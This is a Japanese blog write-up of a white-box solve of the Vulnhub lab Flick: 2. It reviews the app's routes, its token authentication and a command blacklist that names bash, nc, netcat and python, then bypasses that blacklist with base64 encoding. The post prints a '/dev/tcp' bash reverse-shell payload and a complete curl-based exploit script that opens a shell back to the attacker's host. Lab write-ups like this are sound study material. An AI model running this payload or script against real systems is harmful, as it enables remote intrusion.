ホワイトボックステストの練習をしたかったので、ソースコードが与えられているという前提でVulnhubをやってみました。
そのためポートスキャンや権限昇格といった内容は省略しています。
このブログを参考にしています。こっちの方が分かりやすいかもしれません。
[Flick2 - Remote Command Execution]
(https://klezvirus.github.io/Misc/HTB-VH-OSWE/reviews/vulnhub/flick2/)
#FLICK: 2
- サーバー名: Flick: 2
- リリース日: 2015年8月20日
- 作者: Leonjza
- シリーズ: Flick
#ディレクトリ構造
攻略に関係がないファイルを除外したディレクトリ構造
/usr/share/ngnix/serverchecker
├── public
│ └── index.php
├── server.php
├── bootstrap
│ └── app.php
├── app
│ ├── Http
│ │ ├── Controllers
│ │ │ └── Controller.php
│ │ ├── Middleware
│ │ │ ├── ApiAuth.php
│ │ │ └── ExampleMiddleware.php
│ │ └── routes.php
│ ├── Key.php
│ └── [other dirs/files]
├── database
│ ├── factories
│ ├── migrations
│ └── seeds
├── storage
│ ├── app
│ ├── database.sqlite
│ ├── framework
│ └── logs
└── vendor
└── [other dirs/files]
server.php
が外部からアクセス可能です。
<?php
$uri = urldecode(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH));
if ($uri !== '/' && file_exists(__DIR__.'/public'.$uri)) {
return false;
}
require_once __DIR__.'/public/index.php';
関係しているpublic/index.php
を確認します。
<?php
$app = require __DIR__.'/../bootstrap/app.php';
$app->run();
ルートファイル/app/Http/routes.php
を確認します。
<?php
$app->group(['prefix' => 'do', 'middleware' => 'api_auth'], function () use ($app) {
// Return the registration status of a uuid
$app->get('/cmd/{command}', function($command) use ($app) {
if (base64_decode($command, true) === False)
return response()
->json([
'status' => 'error',
'output' => 'Bad command format.'
]);
// Get the command...
$command = base64_decode($command);
// ... and filter it
$bad_commands = [
'bash',
...,
'nc',
'netcat',
'python',
];
if(0 < count(array_intersect(array_map('strtolower', explode(' ', $command)), $bad_commands))) {
return response()
->json([
'status' => 'error',
'output' => 'Command \'' . $command . '\' contains a banned command.'
]);
}
$process = new Process($command);
$process->run();
if (!$process->isSuccessful()) {
return response()
->json([
'status' => 'error',
'output' => $process->getErrorOutput()
]);
}
return response()
->json([
'status' => 'ok',
'command' => $command,
'output' => $process->getOutput()
]);
});
またコマンド実行にはAPIに対する認証が必要です。
$app->group(['prefix' => 'do', 'middleware' => 'api_auth'], function () use ($app) {...}
/app/Http/Middleware/ApiAuth.php
を開き、認証機能を確認します。
<?php namespace App\Http\Middleware;
use Closure;
use Request;
class ApiAuth {
public function handle($request, Closure $next)
{
if (!\App\Key::where(['uuid' => Request::header('X-UUID'), 'token' => Request::header('X-Token')])->first())
return response()
->json(['error' => 'Invalid authentication headers.'], 401);
return $next($request);
}
}
ApiAuth.phpはHTTPリクエストのX-UUID
とX-Token
が、Key
オブジェクトに存在するかどうかを確認します。
<?php namespace App;
use Illuminate\Database\Eloquent\Model;
class Key extends Model
{
protected $fillable = ['uuid', 'token'];
}
認証済みセッションを登録するには、新しいkeyを作成する必要があり、新しいkeyを作成するには、適当なuuidを設定して、/register/new/にPOSTリクエストをおくる。トークンを取得後、次のリクエストを発行してリモートコマンドを実行します。
#認証バイパス
/app/Http/routes.phpでは、コマンドがブラックリスト方式で検証されています。
<?php
if(0 < count(array_intersect(array_map('strtolower', explode(' ', $command)), $bad_commands))) {...}
このフィルターを回避するためにコマンドをbase64エンコードしスペースを区切り文字にします。
/do/cmd/$(echo -n '/bin/bash -i >& /dev/tcp/my_ip_address/444 0>&1' | base64)
最終的なエクスプロイトスクリプトは以下のようになります。
#!/bin/sh
# Varibale used, change them to fit your needs
target="flick2.local"
lport="444"
lhost="192.168.56.1"
uuid="00000-231234fds-sdffdg2-32"
proxy="-x http://127.0.0.1:8080"
printf "[*] Staring Listener on port $lport"
gnome-terminal -- nc -lvkp $lport 2>/dev/null
sleep 1
echo "DONE"
printf "[*] Loggin in..."
token=$(curl -ksi $proxy -v -H "Content-Type: application/json" -X POST -d "{\"uuid\":\"$uuid\"}" "http://$target/register/new")
echo "DONE"
printf "[*] Crafting reverse shell command"
curl -ksi $proxy -v -H "Content-Type: application/json" -H "X-UUID: $uuid" -H "X-Token: $token" -X GET "http://$target/do/cmd/$(echo -n \"/bin/bash -i >& /dev/tcp/$lhost/$lport 0>&1\" | base64)" &>/dev/null
sleep 1
echo "DONE"